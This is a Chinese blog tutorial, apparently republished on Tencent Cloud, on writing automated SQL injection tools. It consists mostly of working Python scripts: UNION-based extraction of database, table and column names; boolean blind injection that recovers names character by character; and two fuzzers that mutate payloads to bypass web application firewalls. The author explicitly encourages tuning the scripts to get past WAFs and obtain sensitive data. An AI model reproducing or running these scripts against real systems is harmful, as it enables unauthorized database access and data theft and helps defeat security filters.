如何编写一个SQL注入工具
0x01 前言
一直在思考如何编写一个自动化注入工具，这款工具不用太复杂，但是可以用最简单、最直接的方式来获取数据库信息，根据自定义构造的payload来绕过防护，这样子就可以。
0x02 SQL注入工具
A、联合查询
union select 实现起来最为简单，报错注入的实现方式也基本一致，主要思路：获取所有数据库名--选择数据库--查看这个数据库下所有表---选择表--查询这个表下所有列名。
代码详情：
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import urllib
import re
values={}
def get(url,values):
data = urllib.urlencode(values)
geturl = url+'?'+data
response = requests.get(geturl)
result=response.content
find_list=re.findall(r"qwe~(.+?)~qwe", result)
if len(find_list)>0:
return find_list
def get_database_name(url):
values['id'] = "1 and 1=2 union select 1,concat(0x7177657E,schema_name,0x7E717765) from INFORMATION_SCHEMA.SCHEMATA"
name_list=get(url,values)
print 'The databases:'
for i in name_list:
print i+" ",
print "\n"
def table_name(url):
database_name=raw_input('please input your database:')
values['id'] = "1 union select 1,concat(0x7177657E,table_name,0x7E717765) from information_schema.tables where table_schema="+"'"+database_name+"'"
name_list=get(url,values)
print 'The table is :'
for i in name_list:
print i+" ",
print "\n"
def column_name(url):
table_name=raw_input('please input your table:')
values['id'] = "1 union select 1,concat(0x7177657E,column_name,0x7E717765) from information_schema.columns where table_name="+"'"+table_name+"'"
name_list=get(url,values)
print 'The column is :'
for i in name_list:
print i+" ",
if __name__ == '__main__':
url='http://192.168.106.130/config/sql.php'
get_database_name(url)
table_name(url)
column_name(url)运行效果：
B、盲注
盲注的脚本，但总感觉代码不过简洁，越简单越好，可以把局部代码直接拿出来用，简单修改payload就可以获取数据，基于布尔盲注，GET，写的一个简单的注入脚本。
主要思路：获取当前数据库名--选择数据库--获取这个数据库有几个表--依次获取每个表的长度--依次获取获取表名--依次获取每个表的长度、列名。
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import urllib
import time
start_time = time.time()
def database_length(url):
values={}
for i in range(1,100):
values['id'] = "1 and (select length(database()))=%s" %i
data = urllib.urlencode(values)
geturl = url+'?'+data
response = requests.get(geturl)
if response.content.find('qwertyasd')>0:
return i
def database_name(url):
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
values={}
databasename= ''
aa = 15
aa = database_length(url)
for i in range(1, aa+1):
for payload in payloads:
values['id'] = "1 and ascii(substring(database(),%s,1))=%s " %(i,ord(payload))
data = urllib.urlencode(values)
geturl = url+'?'+data
response = requests.get(geturl)
if response.content.find('qwertyasd')>0:
databasename += payload
return databasename
#print database_name('http://192.168.125.129/config/sql.php')
def table_count(url,database):
values={}
for i in range(1,100):
values['id'] = "1 and (select count(table_name) from information_schema.tables where table_schema="+"'"+database+"')"+"=%s" %i
data = urllib.urlencode(values)
geturl = url+'?'+data
response = requests.get(geturl)
if response.content.find('qwertyasd')>0:
return i
def table_length(url,a,database):
values={}
for i in range(1,100):
values['id'] = "1 and (select length(table_name) from information_schema.tables where table_schema="+"'"+database+"'"+" limit %s,1)=%s" %(a,i)
data = urllib.urlencode(values)
geturl = url+'?'+data
response = requests.get(geturl)
if response.content.find('qwertyasd')>0:
return i
def table_name(url,database):
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
values={}
table_name=[]
bb = table_count(url,database)
for i in range(0,bb+1):
user= ''
cc=table_length(url,i,database)
if cc==None:
break
for j in range(0,cc+1):
for payload in payloads:
values['id'] = "1 and ascii(substring((select table_name from information_schema.tables where table_schema="+"'"+database+"'"+" limit %s,1),%s,1))=%s " %(i,j,ord(payload))
data = urllib.urlencode(values)
geturl = url+'?'+data
response = requests.get(geturl)
if response.content.find('qwertyasd')>0:
user += payload
#print payload
table_name.append(user)
return table_name
#print table_name('http://192.168.125.129/config/sql.php','test')
def column_count(url,table_name):
values={}
for i in range(1,100):
values['id'] = "1 and (select count(column_name) from information_schema.columns where table_name="+"'"+table_name+"'"+")=%s" %i
data = urllib.urlencode(values)
geturl = url+'?'+data
response = requests.get(geturl)
if response.content.find('qwertyasd')>0:
return i
def column_length(num,url,table_name):
values={}
for i in range(1,100):
limit = " limit %s,1)=%s" %(num,i)
values['id'] = "1 and (select length(column_name) from information_schema.columns where table_name="+"'"+table_name+"'"+limit
data = urllib.urlencode(values)
geturl = url+'?'+data
response = requests.get(geturl)
if response.content.find('qwertyasd')>0:
return i
def column_name(url,table_name):
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
values={}
column_name=[]
dd=column_count(url,table_name)
for i in range(0,dd+1):
user= ''
bb=column_length(i,url,table_name)
if bb==None:
break
for j in range(0,bb+1):
for payload in payloads:
limit=" limit %s,1),%s,1))=%s" %(i,j,ord(payload))
values['id'] = "1 and ascii(substring((select column_name from information_schema.columns where table_name="+"'"+table_name+"'"+limit
data = urllib.urlencode(values)
geturl = url+'?'+data
response = requests.get(geturl)
if response.content.find('qwertyasd')>0:
user += payload
column_name.append(user)
return column_name
#print column_name('http://192.168.125.129/config/sql.php','admin')
if __name__ == '__main__':
url='http://192.168.125.129/config/sql.php'
databasename=database_name(url)
print "The current database:"+databasename
database=raw_input("Please input your databasename: ")
tables=table_name(url,database)
print database+" have the tables:",
print tables
for table in tables:
print table+" have the columns:"
print column_name(url,table)
print 'Use for: %d second' % (time.time() - start_time)运行效果：
0x03 END
通过编写简单的SQL注入脚本来获取数据，脚本可容易。遇到WAF拦截时，可灵活调整脚本来绕过WAF获取敏感数据。
附：WAF FUZZ的两个小脚本
第一个：先生成一个字典，带入搭建的环境进行FUZZ，针对某些软WAF挺好用的，可FUZZ出不少姿势出来，记得先把CC攻击加入白名单才行哦。
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import urllib
import urllib2
import requests
values={}
f = open('mutou.txt','r')
for line in f.xreadlines():
line =line.strip()
values['id'] = "1 union/*%s*/select/*%s*/1,user()" %(line,line)
data = urllib.urlencode(values)
url = "http://192.168.125.140/php/config/sql.php"
url = url+'?'+data
try:
response = requests.get(url)
result = response.content
#print result
if result.count('root'):
print line
print url
print "==================================="
else:
pass
#print ".",
except:
print "Error"第二个：测试环境搭建好，脚本放着跑，看运气啦。
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
fuzz_dic1 = ['*/','/*','*/','/*!','*','=','`','!','@','%','.','-','+','|','%00']
fuzz_dic2 = ['*/','',' ','/*!']
fuzz_dic3 = ['/*!',"%a0","0c","%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j"]
headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"}
url="http://192.168.125.140/php/config/sql.php?id=1"
for i in fuzz_dic1:
for j in fuzz_dic2:
for k in fuzz_dic3:
payload="/*!union"+i+j+k+"select*/ 1,user()"
geturl=url+payload
#print geturl
try:
response=requests.get(url=geturl,headers=headers)
result = response.content
#print result
if result.count('root'):
print geturl
else:
print ".",
except:
print "Error"本文参与 腾讯云自媒体同步曝光计划，分享自微信公众号。
原始发表：2020-02-22，如有侵权请联系 cloudcommunity@tencent.com 删除
评论
登录后参与评论
推荐阅读
腾讯云开发者
